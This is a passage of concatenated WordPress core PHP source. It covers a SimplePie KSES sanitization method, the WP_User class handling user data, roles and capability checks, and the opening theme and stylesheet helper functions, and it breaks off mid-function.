	 * WordPress SimplePie sanitization using KSES.
	 *
	 * Sanitizes the incoming data, to ensure that it matches the type of data expected, using KSES.
	 *
	 * @since 3.5.0
	 *
	 * @param mixed   $data The data that needs to be sanitized.
	 * @param int     $type The type of data that it's supposed to be.
	 * @param string  $base Optional. The `xml:base` value to use when converting relative
	 *                      URLs to absolute ones. Default empty.
	 * @return mixed Sanitized data.
	 */
	public function sanitize( $data, $type, $base = '' ) {
		$data = trim( $data );
		if ( $type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML ) {
			if ( preg_match( '/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data ) ) {
				$type |= SIMPLEPIE_CONSTRUCT_HTML;
			} else {
				$type |= SIMPLEPIE_CONSTRUCT_TEXT;
			}
		}
		if ( $type & SIMPLEPIE_CONSTRUCT_BASE64 ) {
			$data = base64_decode( $data );
		}
		if ( $type & ( SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML ) ) {
			$data = wp_kses_post( $data );
			if ( 'UTF-8' !== $this->output_encoding ) {
				$data = $this->registry->call( 'Misc', 'change_encoding', array( $data, 'UTF-8', $this->output_encoding ) );
			}
			return $data;
		} else {
			return parent::sanitize( $data, $type, $base );
		}
	}
}
<?php
/**
 * User API: WP_User class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */

/**
 * Core class used to implement the WP_User object.
 *
 * @since 2.0.0
 *
 * @property string $nickname
 * @property string $description
 * @property string $user_description
 * @property string $first_name
 * @property string $user_firstname
 * @property string $last_name
 * @property string $user_lastname
 * @property string $user_login
 * @property string $user_pass
 * @property string $user_nicename
 * @property string $user_email
 * @property string $user_url
 * @property string $user_registered
 * @property string $user_activation_key
 * @property string $user_status
 * @property int    $user_level
 * @property string $display_name
 * @property string $spam
 * @property string $deleted
 * @property string $locale
 * @property string $rich_editing
 * @property string $syntax_highlighting
 * @property string $use_ssl
 */
#[AllowDynamicProperties]
class WP_User {
	/**
	 * User data container.
	 *
	 * @since 2.0.0
	 * @var stdClass
	 */
	public $data;

	/**
	 * The user's ID.
	 *
	 * @since 2.1.0
	 * @var int
	 */
	public $ID = 0;

	/**
	 * Capabilities that the individual user has been granted outside of those inherited from their role.
	 *
	 * @since 2.0.0
	 * @var bool[] Array of key/value pairs where keys represent a capability name
	 *             and boolean values represent whether the user has that capability.
	 */
	public $caps = array();

	/**
	 * User metadata option name.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $cap_key;

	/**
	 * The roles the user is part of.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
	public $roles = array();

	/**
	 * All capabilities the user has, including individual and role based.
	 *
	 * @since 2.0.0
	 * @var bool[] Array of key/value pairs where keys represent a capability name
	 *             and boolean values represent whether the user has that capability.
	 */
	public $allcaps = array();

	/**
	 * The filter context applied to user data fields.
	 *
	 * @since 2.9.0
	 * @var string
	 */
	public $filter = null;

	/**
	 * The site ID the capabilities of this user are initialized for.
	 *
	 * @since 4.9.0
	 * @var int
	 */
	private $site_id = 0;

	/**
	 * @since 3.3.0
	 * @var array
	 */
	private static $back_compat_keys;

	/**
	 * Constructor.
	 *
	 * Retrieves the userdata and passes it to WP_User::init().
	 *
	 * @since 2.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int|string|stdClass|WP_User $id      User's ID, a WP_User object, or a user object from the DB.
	 * @param string                      $name    Optional. User's username
	 * @param int                         $site_id Optional Site ID, defaults to current site.
	 */
	public function __construct( $id = 0, $name = '', $site_id = '' ) {
		global $wpdb;

		if ( ! isset( self::$back_compat_keys ) ) {
			$prefix = $wpdb->prefix;

			self::$back_compat_keys = array(
				'user_firstname'             => 'first_name',
				'user_lastname'              => 'last_name',
				'user_description'           => 'description',
				'user_level'                 => $prefix . 'user_level',
				$prefix . 'usersettings'     => $prefix . 'user-settings',
				$prefix . 'usersettingstime' => $prefix . 'user-settings-time',
			);
		}

		if ( $id instanceof WP_User ) {
			$this->init( $id->data, $site_id );
			return;
		} elseif ( is_object( $id ) ) {
			$this->init( $id, $site_id );
			return;
		}

		if ( ! empty( $id ) && ! is_numeric( $id ) ) {
			$name = $id;
			$id   = 0;
		}

		if ( $id ) {
			$data = self::get_data_by( 'id', $id );
		} else {
			$data = self::get_data_by( 'login', $name );
		}

		if ( $data ) {
			$this->init( $data, $site_id );
		} else {
			$this->data = new stdClass();
		}
	}

	/**
	 * Sets up object properties, including capabilities.
	 *
	 * @since 3.3.0
	 *
	 * @param object $data    User DB row object.
	 * @param int    $site_id Optional. The site ID to initialize for.
	 */
	public function init( $data, $site_id = '' ) {
		if ( ! isset( $data->ID ) ) {
			$data->ID = 0;
		}
		$this->data = $data;
		$this->ID   = (int) $data->ID;

		$this->for_site( $site_id );
	}

	/**
	 * Returns only the main user fields.
	 *
	 * @since 3.3.0
	 * @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string     $field The field to query against: Accepts 'id', 'ID', 'slug', 'email' or 'login'.
	 * @param string|int $value The field value.
	 * @return object|false Raw user object.
	 */
	public static function get_data_by( $field, $value ) {
		global $wpdb;

		// 'ID' is an alias of 'id'.
		if ( 'ID' === $field ) {
			$field = 'id';
		}

		if ( 'id' === $field ) {
			// Make sure the value is numeric to avoid casting objects, for example, to int 1.
			if ( ! is_numeric( $value ) ) {
				return false;
			}
			$value = (int) $value;
			if ( $value < 1 ) {
				return false;
			}
		} else {
			$value = trim( $value );
		}

		if ( ! $value ) {
			return false;
		}

		switch ( $field ) {
			case 'id':
				$user_id  = $value;
				$db_field = 'ID';
				break;
			case 'slug':
				$user_id  = wp_cache_get( $value, 'userslugs' );
				$db_field = 'user_nicename';
				break;
			case 'email':
				$user_id  = wp_cache_get( $value, 'useremail' );
				$db_field = 'user_email';
				break;
			case 'login':
				$value    = sanitize_user( $value );
				$user_id  = wp_cache_get( $value, 'userlogins' );
				$db_field = 'user_login';
				break;
			default:
				return false;
		}

		if ( false !== $user_id ) {
			$user = wp_cache_get( $user_id, 'users' );
			if ( $user ) {
				return $user;
			}
		}

		$user = $wpdb->get_row(
			$wpdb->prepare(
				"SELECT * FROM $wpdb->users WHERE $db_field = %s LIMIT 1",
				$value
			)
		);
		if ( ! $user ) {
			return false;
		}

		update_user_caches( $user );

		return $user;
	}

	/**
	 * Magic method for checking the existence of a certain custom field.
	 *
	 * @since 3.3.0
	 *
	 * @param string $key User meta key to check if set.
	 * @return bool Whether the given user meta key is set.
	 */
	public function __isset( $key ) {
		if ( 'id' === $key ) {
			_deprecated_argument(
				'WP_User->id',
				'2.1.0',
				sprintf(
					/* translators: %s: WP_User->ID */
					__( 'Use %s instead.' ),
					'<code>WP_User->ID</code>'
				)
			);
			$key = 'ID';
		}

		if ( isset( $this->data->$key ) ) {
			return true;
		}

		if ( isset( self::$back_compat_keys[ $key ] ) ) {
			$key = self::$back_compat_keys[ $key ];
		}

		return metadata_exists( 'user', $this->ID, $key );
	}

	/**
	 * Magic method for accessing custom fields.
	 *
	 * @since 3.3.0
	 *
	 * @param string $key User meta key to retrieve.
	 * @return mixed Value of the given user meta key (if set). If `$key` is 'id', the user ID.
	 */
	public function __get( $key ) {
		if ( 'id' === $key ) {
			_deprecated_argument(
				'WP_User->id',
				'2.1.0',
				sprintf(
					/* translators: %s: WP_User->ID */
					__( 'Use %s instead.' ),
					'<code>WP_User->ID</code>'
				)
			);
			return $this->ID;
		}

		if ( isset( $this->data->$key ) ) {
			$value = $this->data->$key;
		} else {
			if ( isset( self::$back_compat_keys[ $key ] ) ) {
				$key = self::$back_compat_keys[ $key ];
			}
			$value = get_user_meta( $this->ID, $key, true );
		}

		if ( $this->filter ) {
			$value = sanitize_user_field( $key, $value, $this->ID, $this->filter );
		}

		return $value;
	}

	/**
	 * Magic method for setting custom user fields.
	 *
	 * This method does not update custom fields in the database. It only stores
	 * the value on the WP_User instance.
	 *
	 * @since 3.3.0
	 *
	 * @param string $key   User meta key.
	 * @param mixed  $value User meta value.
	 */
	public function __set( $key, $value ) {
		if ( 'id' === $key ) {
			_deprecated_argument(
				'WP_User->id',
				'2.1.0',
				sprintf(
					/* translators: %s: WP_User->ID */
					__( 'Use %s instead.' ),
					'<code>WP_User->ID</code>'
				)
			);
			$this->ID = $value;
			return;
		}

		$this->data->$key = $value;
	}

	/**
	 * Magic method for unsetting a certain custom field.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key User meta key to unset.
	 */
	public function __unset( $key ) {
		if ( 'id' === $key ) {
			_deprecated_argument(
				'WP_User->id',
				'2.1.0',
				sprintf(
					/* translators: %s: WP_User->ID */
					__( 'Use %s instead.' ),
					'<code>WP_User->ID</code>'
				)
			);
		}

		if ( isset( $this->data->$key ) ) {
			unset( $this->data->$key );
		}

		if ( isset( self::$back_compat_keys[ $key ] ) ) {
			unset( self::$back_compat_keys[ $key ] );
		}
	}

	/**
	 * Determines whether the user exists in the database.
	 *
	 * @since 3.4.0
	 *
	 * @return bool True if user exists in the database, false if not.
	 */
	public function exists() {
		return ! empty( $this->ID );
	}

	/**
	 * Retrieves the value of a property or meta key.
	 *
	 * Retrieves from the users and usermeta table.
	 *
	 * @since 3.3.0
	 *
	 * @param string $key Property
	 * @return mixed
	 */
	public function get( $key ) {
		return $this->__get( $key );
	}

	/**
	 * Determines whether a property or meta key is set.
	 *
	 * Consults the users and usermeta tables.
	 *
	 * @since 3.3.0
	 *
	 * @param string $key Property.
	 * @return bool
	 */
	public function has_prop( $key ) {
		return $this->__isset( $key );
	}

	/**
	 * Returns an array representation.
	 *
	 * @since 3.5.0
	 *
	 * @return array Array representation.
	 */
	public function to_array() {
		return get_object_vars( $this->data );
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.3.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( '_init_caps' === $name ) {
			return $this->_init_caps( ...$arguments );
		}
		return false;
	}

	/**
	 * Sets up capability object properties.
	 *
	 * Will set the value for the 'cap_key' property to current database table
	 * prefix, followed by 'capabilities'. Will then check to see if the
	 * property matching the 'cap_key' exists and is an array. If so, it will be
	 * used.
	 *
	 * @since 2.1.0
	 * @deprecated 4.9.0 Use WP_User::for_site()
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $cap_key Optional capability key
	 */
	protected function _init_caps( $cap_key = '' ) {
		global $wpdb;

		_deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' );

		if ( empty( $cap_key ) ) {
			$this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities';
		} else {
			$this->cap_key = $cap_key;
		}

		$this->caps = $this->get_caps_data();

		$this->get_role_caps();
	}

	/**
	 * Retrieves all of the capabilities of the user's roles, and merges them with
	 * individual user capabilities.
	 *
	 * All of the capabilities of the user's roles are merged with the user's individual
	 * capabilities. This means that the user can be denied specific capabilities that
	 * their role might have, but the user is specifically denied.
	 *
	 * @since 2.0.0
	 *
	 * @return bool[] Array of key/value pairs where keys represent a capability name
	 *                and boolean values represent whether the user has that capability.
	 */
	public function get_role_caps() {
		$switch_site = false;
		if ( is_multisite() && get_current_blog_id() !== $this->site_id ) {
			$switch_site = true;

			switch_to_blog( $this->site_id );
		}

		$wp_roles = wp_roles();

		// Filter out caps that are not role names and assign to $this->roles.
		if ( is_array( $this->caps ) ) {
			$this->roles = array_filter( array_keys( $this->caps ), array( $wp_roles, 'is_role' ) );
		}

		// Build $allcaps from role caps, overlay user's $caps.
		$this->allcaps = array();
		foreach ( (array) $this->roles as $role ) {
			$the_role      = $wp_roles->get_role( $role );
			$this->allcaps = array_merge( (array) $this->allcaps, (array) $the_role->capabilities );
		}
		$this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps );

		if ( $switch_site ) {
			restore_current_blog();
		}

		return $this->allcaps;
	}

	/**
	 * Adds role to user.
	 *
	 * Updates the user's meta data option with capabilities and roles.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name.
	 */
	public function add_role( $role ) {
		if ( empty( $role ) ) {
			return;
		}

		if ( in_array( $role, $this->roles, true ) ) {
			return;
		}

		$this->caps[ $role ] = true;
		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();

		/**
		 * Fires immediately after the user has been given a new role.
		 *
		 * @since 4.3.0
		 *
		 * @param int    $user_id The user ID.
		 * @param string $role    The new role.
		 */
		do_action( 'add_user_role', $this->ID, $role );
	}

	/**
	 * Removes role from user.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name.
	 */
	public function remove_role( $role ) {
		if ( ! in_array( $role, $this->roles, true ) ) {
			return;
		}

		unset( $this->caps[ $role ] );
		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();

		/**
		 * Fires immediately after a role as been removed from a user.
		 *
		 * @since 4.3.0
		 *
		 * @param int    $user_id The user ID.
		 * @param string $role    The removed role.
		 */
		do_action( 'remove_user_role', $this->ID, $role );
	}

	/**
	 * Sets the role of the user.
	 *
	 * This will remove the previous roles of the user and assign the user the
	 * new one. You can set the role to an empty string and it will remove all
	 * of the roles from the user.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name.
	 */
	public function set_role( $role ) {
		if ( 1 === count( $this->roles ) && current( $this->roles ) === $role ) {
			return;
		}

		foreach ( (array) $this->roles as $oldrole ) {
			unset( $this->caps[ $oldrole ] );
		}

		$old_roles = $this->roles;

		if ( ! empty( $role ) ) {
			$this->caps[ $role ] = true;
			$this->roles         = array( $role => true );
		} else {
			$this->roles = array();
		}

		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();

		foreach ( $old_roles as $old_role ) {
			if ( ! $old_role || $old_role === $role ) {
				continue;
			}

			/** This action is documented in wp-includes/class-wp-user.php */
			do_action( 'remove_user_role', $this->ID, $old_role );
		}

		if ( $role && ! in_array( $role, $old_roles, true ) ) {
			/** This action is documented in wp-includes/class-wp-user.php */
			do_action( 'add_user_role', $this->ID, $role );
		}

		/**
		 * Fires after the user's role has changed.
		 *
		 * @since 2.9.0
		 * @since 3.6.0 Added $old_roles to include an array of the user's previous roles.
		 *
		 * @param int      $user_id   The user ID.
		 * @param string   $role      The new role.
		 * @param string[] $old_roles An array of the user's previous roles.
		 */
		do_action( 'set_user_role', $this->ID, $role, $old_roles );
	}

	/**
	 * Chooses the maximum level the user has.
	 *
	 * Will compare the level from the $item parameter against the $max
	 * parameter. If the item is incorrect, then just the $max parameter value
	 * will be returned.
	 *
	 * Used to get the max level based on the capabilities the user has. This
	 * is also based on roles, so if the user is assigned the Administrator role
	 * then the capability 'level_10' will exist and the user will get that
	 * value.
	 *
	 * @since 2.0.0
	 *
	 * @param int    $max  Max level of user.
	 * @param string $item Level capability name.
	 * @return int Max Level.
	 */
	public function level_reduction( $max, $item ) {
		if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) {
			$level = (int) $matches[1];
			return max( $max, $level );
		} else {
			return $max;
		}
	}

	/**
	 * Updates the maximum user level for the user.
	 *
	 * Updates the 'user_level' user metadata (includes prefix that is the
	 * database table prefix) with the maximum user level. Gets the value from
	 * the all of the capabilities that the user has.
	 *
	 * @since 2.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function update_user_level_from_caps() {
		global $wpdb;
		$this->user_level = array_reduce( array_keys( $this->allcaps ), array( $this, 'level_reduction' ), 0 );
		update_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level', $this->user_level );
	}

	/**
	 * Adds capability and grant or deny access to capability.
	 *
	 * @since 2.0.0
	 *
	 * @param string $cap   Capability name.
	 * @param bool   $grant Whether to grant capability to user.
	 */
	public function add_cap( $cap, $grant = true ) {
		$this->caps[ $cap ] = $grant;
		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();
	}

	/**
	 * Removes capability from user.
	 *
	 * @since 2.0.0
	 *
	 * @param string $cap Capability name.
	 */
	public function remove_cap( $cap ) {
		if ( ! isset( $this->caps[ $cap ] ) ) {
			return;
		}
		unset( $this->caps[ $cap ] );
		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();
	}

	/**
	 * Removes all of the capabilities of the user.
	 *
	 * @since 2.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function remove_all_caps() {
		global $wpdb;
		$this->caps = array();
		delete_user_meta( $this->ID, $this->cap_key );
		delete_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level' );
		$this->get_role_caps();
	}

	/**
	 * Returns whether the user has the specified capability.
	 *
	 * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta
	 * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to
	 * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`.
	 *
	 * Example usage:
	 *
	 *     $user->has_cap( 'edit_posts' );
	 *     $user->has_cap( 'edit_post', $post->ID );
	 *     $user->has_cap( 'edit_post_meta', $post->ID, $meta_key );
	 *
	 * While checking against a role in place of a capability is supported in part, this practice is discouraged as it
	 * may produce unreliable results.
	 *
	 * @since 2.0.0
	 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
	 *              by adding it to the function signature.
	 *
	 * @see map_meta_cap()
	 *
	 * @param string $cap     Capability name.
	 * @param mixed  ...$args Optional further parameters, typically starting with an object ID.
	 * @return bool Whether the user has the given capability, or, if an object ID is passed, whether the user has
	 *              the given capability for that object.
	 */
	public function has_cap( $cap, ...$args ) {
		if ( is_numeric( $cap ) ) {
			_deprecated_argument( __FUNCTION__, '2.0.0', __( 'Usage of user levels is deprecated. Use capabilities instead.' ) );
			$cap = $this->translate_level_to_cap( $cap );
		}

		$caps = map_meta_cap( $cap, $this->ID, ...$args );

		// Multisite super admin has all caps by definition, Unless specifically denied.
		if ( is_multisite() && is_super_admin( $this->ID ) ) {
			if ( in_array( 'do_not_allow', $caps, true ) ) {
				return false;
			}
			return true;
		}

		// Maintain BC for the argument passed to the "user_has_cap" filter.
		$args = array_merge( array( $cap, $this->ID ), $args );

		/**
		 * Dynamically filter a user's capabilities.
		 *
		 * @since 2.0.0
		 * @since 3.7.0 Added the `$user` parameter.
		 *
		 * @param bool[]   $allcaps Array of key/value pairs where keys represent a capability name
		 *                          and boolean values represent whether the user has that capability.
		 * @param string[] $caps    Required primitive capabilities for the requested capability.
		 * @param array    $args {
		 *     Arguments that accompany the requested capability check.
		 *
		 *     @type string    $0 Requested capability.
		 *     @type int       $1 Concerned user ID.
		 *     @type mixed  ...$2 Optional second and further parameters, typically object ID.
		 * }
		 * @param WP_User  $user    The user object.
		 */
		$capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this );

		// Everyone is allowed to exist.
		$capabilities['exist'] = true;

		// Nobody is allowed to do things they are not allowed to do.
		unset( $capabilities['do_not_allow'] );

		// Must have ALL requested caps.
		foreach ( (array) $caps as $cap ) {
			if ( empty( $capabilities[ $cap ] ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Converts numeric level to level capability name.
	 *
	 * Prepends 'level_' to level number.
	 *
	 * @since 2.0.0
	 *
	 * @param int $level Level number, 1 to 10.
	 * @return string
	 */
	public function translate_level_to_cap( $level ) {
		return 'level_' . $level;
	}

	/**
	 * Sets the site to operate on. Defaults to the current site.
	 *
	 * @since 3.0.0
	 * @deprecated 4.9.0 Use WP_User::for_site()
	 *
	 * @param int $blog_id Optional. Site ID, defaults to current site.
	 */
	public function for_blog( $blog_id = '' ) {
		_deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' );

		$this->for_site( $blog_id );
	}

	/**
	 * Sets the site to operate on. Defaults to the current site.
	 *
	 * @since 4.9.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $site_id Site ID to initialize user capabilities for. Default is the current site.
	 */
	public function for_site( $site_id = '' ) {
		global $wpdb;

		if ( ! empty( $site_id ) ) {
			$this->site_id = absint( $site_id );
		} else {
			$this->site_id = get_current_blog_id();
		}

		$this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities';

		$this->caps = $this->get_caps_data();

		$this->get_role_caps();
	}

	/**
	 * Gets the ID of the site for which the user's capabilities are currently initialized.
	 *
	 * @since 4.9.0
	 *
	 * @return int Site ID.
	 */
	public function get_site_id() {
		return $this->site_id;
	}

	/**
	 * Gets the available user capabilities data.
	 *
	 * @since 4.9.0
	 *
	 * @return bool[] List of capabilities keyed by the capability name,
	 *                e.g. `array( 'edit_posts' => true, 'delete_posts' => false )`.
	 */
	private function get_caps_data() {
		$caps = get_user_meta( $this->ID, $this->cap_key, true );

		if ( ! is_array( $caps ) ) {
			return array();
		}

		return $caps;
	}
}
<?php
/**
 * Theme, template, and stylesheet functions.
 *
 * @package WordPress
 * @subpackage Theme
 */

/**
 * Returns an array of WP_Theme objects based on the arguments.
 *
 * Despite advances over get_themes(), this function is quite expensive, and grows
 * linearly with additional themes. Stick to wp_get_theme() if possible.
 *
 * @since 3.4.0
 *
 * @global array $wp_theme_directories
 *
 * @param array $args {
 *     Optional. The search arguments.
 *
 *     @type mixed $errors  True to return themes with errors, false to return
 *                          themes without errors, null to return all themes.
 *                          Default false.
 *     @type mixed $allowed (Multisite) True to return only allowed themes for a site.
 *                          False to return only disallowed themes for a site.
 *                          'site' to return only site-allowed themes.
 *                          'network' to return only network-allowed themes.
 *                          Null to return all themes. Default null.
 *     @type int   $blog_id (Multisite) The blog ID used to calculate which themes
 *                          are allowed. Default 0, synonymous for the current blog.
 * }
 * @return WP_Theme[] Array of WP_Theme objects.
 */
function wp_get_themes( $args = array() ) {
	global $wp_theme_directories;

	$defaults = array(
		'errors'  => false,
		'allowed' => null,
		'blog_id' => 0,
	);
	$args     = wp_parse_args( $args, $defaults );

	$theme_directories = search_theme_directories();

	if ( is_array( $wp_theme_directories ) && count( $wp_theme_directories ) > 1 ) {
		/*
		 * Make sure the active theme wins out, in case search_theme_directories() picks the wrong
		 * one in the case of a conflict. (Normally, last registered theme root wins.)
		 */
		$current_theme = get_stylesheet();
		if ( isset( $theme_directories[ $current_theme ] ) ) {
			$root_of_current_theme = get_raw_theme_root( $current_theme );
			if ( ! in_array( $root_of_current_theme, $wp_theme_directories, true ) ) {
				$root_of_current_theme = WP_CONTENT_DIR . $root_of_current_theme;
			}
			$theme_directories[ $current_theme ]['theme_root'] = $root_of_current_theme;
		}
	}

	if ( empty( $theme_directories ) ) {
		return array();
	}

	if ( is_multisite() && null !== $args['allowed'] ) {
		$allowed = $args['allowed'];
		if ( 'network' === $allowed ) {
			$theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed_on_network() );
		} elseif ( 'site' === $allowed ) {
			$theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed_on_site( $args['blog_id'] ) );
		} elseif ( $allowed ) {
			$theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed( $args['blog_id'] ) );
		} else {
			$theme_directories = array_diff_key( $theme_directories, WP_Theme::get_allowed( $args['blog_id'] ) );
		}
	}

	$themes         = array();
	static $_themes = array();

	foreach ( $theme_directories as $theme => $theme_root ) {
		if ( isset( $_themes[ $theme_root['theme_root'] . '/' . $theme ] ) ) {
			$themes[ $theme ] = $_themes[ $theme_root['theme_root'] . '/' . $theme ];
		} else {
			$themes[ $theme ] = new WP_Theme( $theme, $theme_root['theme_root'] );

			$_themes[ $theme_root['theme_root'] . '/' . $theme ] = $themes[ $theme ];
		}
	}

	if ( null !== $args['errors'] ) {
		foreach ( $themes as $theme => $wp_theme ) {
			if ( $wp_theme->errors() != $args['errors'] ) {
				unset( $themes[ $theme ] );
			}
		}
	}

	return $themes;
}

/**
 * Gets a WP_Theme object for a theme.
 *
 * @since 3.4.0
 *
 * @global array $wp_theme_directories
 *
 * @param string $stylesheet Optional. Directory name for the theme. Defaults to active theme.
 * @param string $theme_root Optional. Absolute path of the theme root to look in.
 *                           If not specified, get_raw_theme_root() is used to calculate
 *                           the theme root for the $stylesheet provided (or active theme).
 * @return WP_Theme Theme object. Be sure to check the object's exists() method
 *                  if you need to confirm the theme's existence.
 */
function wp_get_theme( $stylesheet = '', $theme_root = '' ) {
	global $wp_theme_directories;

	if ( empty( $stylesheet ) ) {
		$stylesheet = get_stylesheet();
	}

	if ( empty( $theme_root ) ) {
		$theme_root = get_raw_theme_root( $stylesheet );
		if ( false === $theme_root ) {
			$theme_root = WP_CONTENT_DIR . '/themes';
		} elseif ( ! in_array( $theme_root, (array) $wp_theme_directories, true ) ) {
			$theme_root = WP_CONTENT_DIR . $theme_root;
		}
	}

	return new WP_Theme( $stylesheet, $theme_root );
}

/**
 * Clears the cache held by get_theme_roots() and WP_Theme.
 *
 * @since 3.5.0
 * @param bool $clear_update_cache Whether to clear the theme updates cache.
 */
function wp_clean_themes_cache( $clear_update_cache = true ) {
	if ( $clear_update_cache ) {
		delete_site_transient( 'update_themes' );
	}
	search_theme_directories( true );
	foreach ( wp_get_themes( array( 'errors' => null ) ) as $theme ) {
		$theme->cache_delete();
	}
}

/**
 * Whether a child theme is in use.
 *
 * @since 3.0.0
 * @since 6.5.0 Makes use of global template variables.
 *
 * @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
 * @global string $wp_template_path   Path to current theme's template directory.
 *
 * @return bool True if a child theme is in use, false otherwise.
 */
function is_child_theme() {
	global $wp_stylesheet_path, $wp_template_path;

	return $wp_stylesheet_path !== $wp_template_path;
}

/**
 * Retrieves name of the current stylesheet.
 *
 * The theme name that is currently set as the front end theme.
 *
 * For all intents and purposes, the template name and the stylesheet name
 * are going to be the same for most cases.
 *
 * @since 1.5.0
 *
 * @return string Stylesheet name.
 */
function get_stylesheet() {
	/**
	 * Filters the name of current stylesheet.
	 *
	 * @since 1.5.0
	 *
	 * @param string $stylesheet Name of the current stylesheet.
	 */
	return apply_filters( 'stylesheet', get_option( 'stylesheet' ) );
}

/**
 * Retrieves stylesheet directory path for the active theme.
 *
 * @since 1.5.0
 * @since 6.4.0 Memoizes filter execution so that it only runs once for the current theme.
 * @since 6.4.2 Memoization removed.
 *
 * @return string Path to active theme's stylesheet directory.
 */
function get_stylesheet_directory() {
	$stylesheet     = get_stylesheet();
	$theme_root     = get_theme_root( $stylesheet );
	$stylesheet_dir = "$theme_root/$stylesheet";

	/**
	 * Filters the stylesheet directory path for the active theme.
	 *
	 * @since 1.5.0
	 *
	 * @param string $stylesheet_dir Absolute path to the active theme.
	 * @param string $stylesheet     Directory name of the active theme.
	 * @param string $theme_root     Absolute path to themes directory.
	 */
	return apply_filters( 'stylesheet_directory', $stylesheet_dir, $stylesheet, $theme_root );
}

/**
 * Retrieves stylesheet directory URI for the active theme.
 *
 * @since 1.5.0
 *
 * @return string URI to active theme's stylesheet directory.
 */
function get_stylesheet_directory_uri() {
	$stylesheet         = str_replace( '%2F', '/', rawurlencode( get_stylesheet() ) );
	$theme_root_uri     = get_theme_root_uri( $stylesheet );
	$stylesheet_dir_uri = "$theme_root_uri/$stylesheet";

	/**
	 * Filters the stylesheet directory URI.
	 *
	 * @since 1.5.0
	 *
	 * @param string $stylesheet_dir_uri Stylesheet directory URI.
	 * @param string $stylesheet         Name of the activated theme's directory.
	 * @param string $theme_root_uri     Themes root URI.
	 */
	return apply_filters( 'stylesheet_directory_uri', $stylesheet_dir_uri, $stylesheet, $theme_root_uri );
}

/**
 * Retrieves stylesheet URI for the active theme.
 *
 * The stylesheet file name is 'style.css' which is appended to the stylesheet directory URI path.
 * See get_stylesheet_directory_uri().
 *
 * @since 1.5.0
 *
 * @return string URI to active theme's stylesheet.
 */
function get_stylesheet_uri() {
	$stylesheet_dir_uri = get_stylesheet_directory_uri();
	$stylesheet_uri     = $stylesheet_dir_uri . '/style.css';
	/**
	 * Filters the URI of the active theme stylesheet.
	 *
	 * @since 1.5.0
	 *
	 * @param string $stylesheet_uri     Stylesheet URI for the active theme/child theme.
	 * @param string $stylesheet_dir_uri Stylesheet directory URI for the active theme/child theme.
	 */
	return apply_filters( 'stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri );
}

/**
 * Retrieves the localized stylesheet URI.
 *
 * The stylesheet directory for the localized stylesheet files are located, by
 * default, in the base theme directory. The name of the locale file will be the
 * locale followed by '.css'. If that does not exist, then the text direction
 * stylesheet will be checked for existence, for example 'ltr.css'.
 *
 * The theme may change the location of the stylesheet directory by either using
 * the {@see 'stylesheet_directory_uri'} or {@see 'locale_stylesheet_uri'} filters.
 *
 * If you want to change the location of the stylesheet files for the entire
 * WordPress workflow, then change the former. If you just have the locale in a
 * separate folder, then change the latter.
 *
 * @since 2.1.0
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @return string URI to active theme's localized stylesheet.
 */
function get_locale_stylesheet_uri() {
	global $wp_locale;
	$stylesheet_dir_uri = get_stylesheet_directory_uri();
	$dir                = get_stylesheet_directory();
	$locale             = get_locale();
	if ( file_exists( "$dir/$locale.css" ) ) {
		$stylesheet_uri = "$stylesheet_dir_uri/$locale.css";
	} elseif ( ! empty( $wp_locale->text_direction ) && file_exists( "$dir/{$wp_locale->text_direction}.css" ) ) {
